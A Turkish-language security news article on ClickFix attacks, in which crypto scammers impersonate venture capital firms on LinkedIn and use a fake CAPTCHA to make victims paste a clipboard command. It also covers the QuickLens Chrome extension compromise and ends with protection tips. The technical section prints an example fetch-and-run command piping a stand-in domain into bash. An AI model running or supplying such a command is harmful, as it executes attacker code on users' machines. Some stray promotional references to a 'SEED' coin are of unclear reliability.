ClickFix Saldırıları Kripto Hacker'larını VC Taklidiyle Vuruyor
Moonlock Lab’ın raporuna göre, kripto hacker’ları ClickFix saldırılarıyla girişim sermayesi firmalarını taklit ederek kullanıcıları hedef alıyor. Sahte SolidBit, MegaBit ve Lumax Capital gibi firmalar üzerinden LinkedIn’den ortaklık teklifleri gönderiliyor, ardından sahte Zoom ve Google Meet linklerine yönlendiriliyor. Hedef linke tıkladığında, sahte bir Cloudflare ‘Ben robot değilim’ kutucuğu çıkıyor; tıklayınca zararlı komut panoya kopyalanıyor ve kullanıcının terminale yapıştırıp çalıştırması isteniyor. Bu yöntemle hacker’lar güvenlik önlemlerini aşıyor; SolidBit’in kurucu ortağı olarak tanıtılan Mykhailo Hureiev adlı hesap ön planda rol alıyor, ancak altyapı kimlikleri hızla değiştiriyor.
A user under the name Mykhailo Hureiev has allegedly been the primary point of contact for the scam’s initial LinkedIn phase. Source: big dan
ClickFix Saldırılarının Teknik Mekanizması
ClickFix, clipboard poisoning tekniğiyle çalışır. Sahte CAPTCHA tıklandığında, panoya ‘curl -s https://fake-domain.sh | bash’ gibi bir komut kopyalanır. Kullanıcı, ‘sorunu çözmek’ için bunu terminaline yapıştırır ve çalıştırır. Bu, UAC benzeri korumaları bypass eder çünkü kod kullanıcı tarafından gönüllü çalıştırılır. Microsoft Threat Intelligence’a göre, geçen yıldan beri üretim, perakende ve hükümet sektörlerinde 100+ vaka raporlandı.
Sahte LinkedIn Hesapları ve Mykhailo Hureiev Rolü
Mykhailo Hureiev hesabı, SolidBit kurucu ortağı olarak sahte teklifler gönderiyor. Hacker’lar IP’leri ve domain’leri dakikalar içinde değiştirerek izlemeyi zorlaştırıyor. LinkedIn’in doğrulama eksikliği, kripto profesyonellerini ideal hedef yapıyor. Benzer taktikler, SEED detayli analiz gibi varlıklarda seed phrase hırsızlığına yol açıyor.
QuickLens Chrome Eklentisi Hack'i Detayları
Aynı dönemde QuickLens eklentisi ele geçirildi. Annex Security raporuna göre 7.000 kullanıcı etkilendi: Kripto cüzdan verileri, seed phrase’ler, Gmail şifreleri çalındı. Eklenti, ClickFix ile malware yaydı ve Chrome Web Store’dan kaldırıldı.
QuickLens was removed from the web store after it was compromised to push malware. Source: Annex Security
ClickFix'in Sektörel Etkileri Tablosu
| Sektör | Raporlanan Kullanım | Kaynak |
|---|---|---|
| Üretim | Yaygın | Unit42 |
| Perakende | Orta | Microsoft TI |
| Hükümet | Düşük | Unit42 |
| Kripto | Yükselen | Moonlock Lab |
SEED Yatırımcıları İçin ClickFix Risk Analizi
SEED gibi coinlerde seed phrase çalınması, tam fon kaybına yol açar. Saldırganlar VC taklidiyle SEED vadeli işlemler yatırımcılarını avlıyor. Korunma: 2FA etkinleştirin, seed’leri hardware cüzdana taşıyın, LinkedIn tekliflerini doğrulayın ve clipboard monitor araçları kullanın (ör. CleanClip).
Benzer Saldırılardan Korunma Stratejileri
- Sahte linklere tıklamayın; her zaman resmi domain kontrol edin.
- Terminal komutlarını okumadan çalıştırmayın.
- Eklentileri yalnızca resmi store’dan yükleyin ve izinleri sınırlayın.
- Kripto topluluğunda doğrulama protokolleri benimseyin.